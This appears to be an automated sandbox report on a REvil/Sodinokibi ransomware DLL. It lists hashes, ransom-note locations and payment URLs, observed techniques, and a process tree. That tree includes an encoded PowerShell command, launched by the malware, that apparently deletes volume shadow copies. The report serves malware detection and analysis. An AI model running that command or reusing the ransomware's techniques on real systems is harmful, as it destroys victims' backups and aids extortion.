Analysis
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max time kernel
96s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 09:45
Behavioral task
behavioral1
Sample
revil_sodinokibi.dll
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
revil_sodinokibi.dll
Resource
win10v2004-20241007-en
General
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Target
revil_sodinokibi.dll
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Size
164KB
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MD5
6e3efb83299d800edf1624ecbc0665e7
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SHA1
0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
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SHA256
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
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SHA512
dd1675bb15eb8ea2933b25413271117823ad7ff38280e7f552b5201e3a5bef8607a2112df2e24f598449ebfdb570ff9458aba0314ed8819dd4d774ea855e9ad2
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SSDEEP
3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfU9ECs5p:FWe29/GuzjmfCHWtUiCs5p
Malware Config
Extracted
C:\Users\h96v7j8-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F9D6A8F54C5E2270
http://decryptor.top/F9D6A8F54C5E2270
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Sodinokibi family
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\F: rundll32.exe -
Drops file in Program Files directory 21 IoCs
description ioc Process File opened for modification \??\c:\program files\LockUse.ADT rundll32.exe File opened for modification \??\c:\program files\ReceiveOpen.ppt rundll32.exe File opened for modification \??\c:\program files\SplitConfirm.vbs rundll32.exe File opened for modification \??\c:\program files\StartInvoke.potm rundll32.exe File opened for modification \??\c:\program files\ExpandPing.docx rundll32.exe File opened for modification \??\c:\program files\FindDeny.crw rundll32.exe File opened for modification \??\c:\program files\OutExpand.xps rundll32.exe File opened for modification \??\c:\program files\StopPop.aifc rundll32.exe File opened for modification \??\c:\program files\SuspendAdd.inf rundll32.exe File opened for modification \??\c:\program files\SuspendUnpublish.dxf rundll32.exe File created \??\c:\program files (x86)\h96v7j8-readme.txt rundll32.exe File opened for modification \??\c:\program files\ImportSuspend.htm rundll32.exe File opened for modification \??\c:\program files\RedoExpand.mpeg3 rundll32.exe File opened for modification \??\c:\program files\UnpublishCheckpoint.mht rundll32.exe File opened for modification \??\c:\program files\UpdateWatch.wps rundll32.exe File created \??\c:\program files\h96v7j8-readme.txt rundll32.exe File opened for modification \??\c:\program files\CompressStep.potx rundll32.exe File opened for modification \??\c:\program files\EnableExpand.vst rundll32.exe File opened for modification \??\c:\program files\ExpandConvertFrom.vdx rundll32.exe File opened for modification \??\c:\program files\InitializeProtect.m1v rundll32.exe File opened for modification \??\c:\program files\RedoOpen.svg rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2296 rundll32.exe 2296 rundll32.exe 4600 powershell.exe 4600 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4600 powershell.exe Token: SeBackupPrivilege 4916 vssvc.exe Token: SeRestorePrivilege 4916 vssvc.exe Token: SeAuditPrivilege 4916 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4104 wrote to memory of 2296 4104 rundll32.exe 83 PID 4104 wrote to memory of 2296 4104 rundll32.exe 83 PID 4104 wrote to memory of 2296 4104 rundll32.exe 83 PID 2296 wrote to memory of 4600 2296 rundll32.exe 90 PID 2296 wrote to memory of 4600 2296 rundll32.exe 90 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\revil_sodinokibi.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\revil_sodinokibi.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4600
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1412
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4916
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD5d3bcf612da9d7ca68ebe1d3a88d62f6a
SHA1d6cb3f6b7e80526127c8989f9f2cf9bde60889fb
SHA2565190feb8808ec665588251122bcf3a78da002699ba20100def61607e64346897
SHA512dd691b2a5c956941af7d66cb7a86789854e8ec8b92af98a97016317268c3dd4de41ccc9766efc81a9f1bbbde5e1028775394cbaa542e7ddbe5972f1d1b1e5338